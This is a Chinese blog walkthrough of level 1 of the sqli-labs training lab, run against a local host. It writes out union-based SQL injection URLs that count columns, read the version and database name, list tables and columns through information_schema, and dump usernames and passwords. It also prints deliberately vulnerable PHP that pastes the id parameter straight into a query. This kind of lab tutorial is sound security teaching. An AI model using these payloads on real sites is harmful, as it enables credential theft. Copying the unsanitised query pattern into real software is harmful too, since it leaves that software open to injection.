sqli-labs-master第一关:基于错误的GET单引号字符型注入

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
云数据库 RDS MySQL Serverless,价值2615元额度,1个月
简介:

首先来到第一关:


http://127.0.0.1/sqli-labs-master/Less-1/


1.png


用语句 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 进行测试报错


可以看到sql语句出错了。2.png


用 and 1 = 1去测试:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 1 %23 回显正常

%23是“#”注释

3.png


用 and 1 = 2 去测试:http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 2 %23 回显示失败,说明存在注入点。


4.png


判断字段:

当order by 3 的时候,回显正常:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 %23

5.png

当order by 4 的时候,回显不正常:


6.png


说明字段是3。

报错显示回显库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,3 %23

回显的地方是2和3。

7.png

用version()看版本:

用database()看当前网站使用的数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,version(), database() %23

通过下图可以看到,使用的php版本是5.5.53,该网站使用的数据库名字是security


8.png

添加?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23 使用过滤查询语句where 查看security数据库内的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

看到有四个表:


9.png


查看users表内的列

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23


10.png

查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users %23

11.png


我们在看到users表里还看到了id,我们看看有多少组账号密码

只需要在后面加上 where id = n即可

经过测试 id 最大是14

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 1%23

12.png

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 14%23



13.png


第一关结束:


第二关很快更新。



声明:官方源码被我改动了。附上我改动的php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//including the Mysql connect parameters.
include ( "../sql-connections/sql-connect.php" );
error_reporting (0);
// take the variables
if (isset( $_GET [ 'id' ]))
{
$id = $_GET [ 'id' ];
//logging the connection parameters to a file for analysis.
$fp = fopen ( 'result.txt' , 'a' );
fwrite( $fp , 'ID:' . $id . "\n" );
fclose( $fp );
// connectivity
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1" ;
$result =mysql_query( $sql );
$row  = mysql_fetch_array( $result );
echo  $sql ;
echo  "<br>" ;
if ( $row )
{
    echo  "<font size='5' color= '#99FF00'>" ;
    echo  'Your Login name:' $row [ 'username' ];
    echo  "<br>" ;
    echo  'Your Password:'  . $row [ 'password' ];
    echo  "</font>" ;
    }
else
{
echo  '<font color= "#FFFF00">' ;
print_r(mysql_error());
echo  "</font>" ;
}
}
else  echo  "Please input the ID as parameter with numeric value" ;}
?>

微信公众号:

1.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2060816


相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
26天前
|
SQL Python
基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)
基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)
|
SQL
SQL Server判断某个字段是否包含中文/英文字符/数字
原文:SQL Server判断某个字段是否包含中文/英文字符/数字 因最近在清理系统中的脏数据,需要查询某个字段是否包含中文/英文字符/数字的数据, 比较简单,仅以此篇博客做一个简单总结,方便以后查阅。
4292 0
|
27天前
|
存储 安全 JavaScript
XSS--概念、类型、实战--分析与详解[pikachu]
XSS--概念、类型、实战--分析与详解[pikachu]
|
3月前
|
SQL 安全
9、sqli-labs(报错注入1-4)
9、sqli-labs(报错注入1-4)
17 1
|
3月前
|
SQL 数据库
10、sqli-labs(盲注8-10)
10、sqli-labs(盲注8-10)
15 1
|
3月前
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
12 0
|
3月前
|
安全 数据库
注入工具 -- sqlmap(枚举信息)
注入工具 -- sqlmap(枚举信息)
22 0
|
12月前
|
安全 程序员
DVWA---命令注入篇
DVWA---命令注入篇
67 0
|
开发框架 .NET C#
【C#】【报错解决】分析器错误消息: 无法识别的属性“targetFramework”。请注意属性名称区分大小写。
【C#】【报错解决】分析器错误消息: 无法识别的属性“targetFramework”。请注意属性名称区分大小写。
190 0
【C#】【报错解决】分析器错误消息: 无法识别的属性“targetFramework”。请注意属性名称区分大小写。
|
Ubuntu 计算机视觉
关于 libQt5xxx:对‘Qxxxx::xxxx()@Qt5’未定义的引用错误 的解决方法
关于 libQt5xxx:对‘Qxxxx::xxxx()@Qt5’未定义的引用错误 的解决方法
关于 libQt5xxx:对‘Qxxxx::xxxx()@Qt5’未定义的引用错误 的解决方法